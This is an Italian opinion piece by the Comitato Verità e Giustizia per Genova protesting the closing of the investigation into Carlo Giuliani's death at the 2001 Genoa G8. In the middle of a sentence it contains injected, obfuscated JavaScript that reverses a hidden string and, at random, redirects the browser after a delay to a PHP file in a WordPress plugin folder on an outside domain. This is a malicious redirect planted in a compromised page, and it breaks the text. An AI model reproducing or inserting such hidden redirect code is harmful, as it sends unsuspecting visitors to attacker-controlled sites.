Fatalità

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Archiviato. Su piazza Alimonda non c’è nulla da scoprire. La morte di Carlo Giuliani è stata un incidente: un sasso ha deviato un proiettile sparato verso l’alto da un carabiniere che si stava difendendo da un’aggressione. Per i giudici il caso è chiuso. Mario Placanica può riprendere servizio con il cuore più leggero, mentre i genitori e la sorella di Carlo dovranno rassegnarsi. E l’Italia può proseguire il suo cammino senza turbamenti: in fondo la decisione del gip è ciò che il paese voleva. Ora è possibile cullarsi, con l’approvazione e il sigillo della magistratura, nella convinzione che in piazza Alimonda tutto si è svolto secondo le regole. Il vice presidente del consiglio Gianfranco Fini se ne dimostrò sicuro la sera stessa del delitto: “Il carabiniere ha agito per legittima difesa”, sentenziò durante un’indimenticabile trasmissione televisiva. Nei molti mesi trascorsi fra il 21 luglio 2001 e il 5 maggio 2003, giorno dell’archiviazione, in realtà sono successe molte cose. Ad esempio sono state stilate perizie discordanti sulla dinamica dei fatti: quella accettata dal gip sostiene la tesi del calcinaccio che devia la pallottola, quella stilata dai periti della famiglia Giuliani dice invece che il calcinaccio non c’entra nulla e si è infranto contro la camionetta dei carabinieri prima che il colpo di pistola fosse sparato. Le contro inchieste condotte da pochi coraggiosi hanno messo in fila altri punti oscuri: dalla reale distanza di Carlo Giuliani dalla camionetta, al numero dei carabinieri presenti all’interno di questa. Haidi Giuliani, la mamma di Carlo, non è neanche più sicura che a sparare sia stato Mario Placanica, il quale, peraltro, ha descritto in vari modi diversi l’episodio (vedi il sito www.piazzacarlogiuliani.org).
Tutto questo, a prima vista, sarebbe sufficiente a motivare nuovi approfondimenti, in un processo pubblico in cui confrontare perizie, testimonianze e prove. Anche perché stiamo parl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando di un caso che non riguarda solo uno sfortunato ragazzo e la sua famiglia, ma di un episodio con importanti risvolti per i diritti di cittadinanza, le regole da seguire nell’uso delle armi, il senso di giustizia. Il gip ha invece deciso che tutto è chiaro, interpretando, forse inconsapevolmente, il desiderio d’oblio che attraversa il paese. È un desiderio così forte che pochi si sono soffermati sul fatto che il gip non solo ha sposato la tesi della legittima difesa e del proiettile deviato dal calcinaccio, ma ha anche sostenuto “l’ uso legittimo e indispensabile delle armi” nelle circostanze di piazza Alimonda. Un colpo di pistola è una risposta “indispensabile” e proporzionata alla minaccia di un estintore vuoto in mano a un ragazzo distante forse tre metri? Per il gip, a quanto pare, sì. La pensano allo stesso modo, probabilmente, tutti quelli che in questi mesi, di fronte ai fatti del G8, hanno preferito fare finta di niente, come se fosse normale durante tre giorni di manifestazioni ammazzare un ragazzo, sparare 18 colpi di pistola per ‘tenere a bada’ persone disarmate, pestare 93 persone dentro una scuola, caricare cortei autorizzati, inseguire e colpire coi manganelli cittadini inermi, sparare migliaia di candelotti lacrimogeni, fermare e maltrattare centinaia di persone. Gli indifferenti, quelli che si rifiutano di riflettere sulla sospensione dello stato di diritto avvenuta a Genova nel luglio 2001, considerano tutto ciò come degli sgradevoli inconvenienti. Che lo sappiano o meno, hanno già accettato una limitazione dei diritti di tutti.

* Comitato Verità e Giustizia per Genova
(www.veritagiustizia.it)

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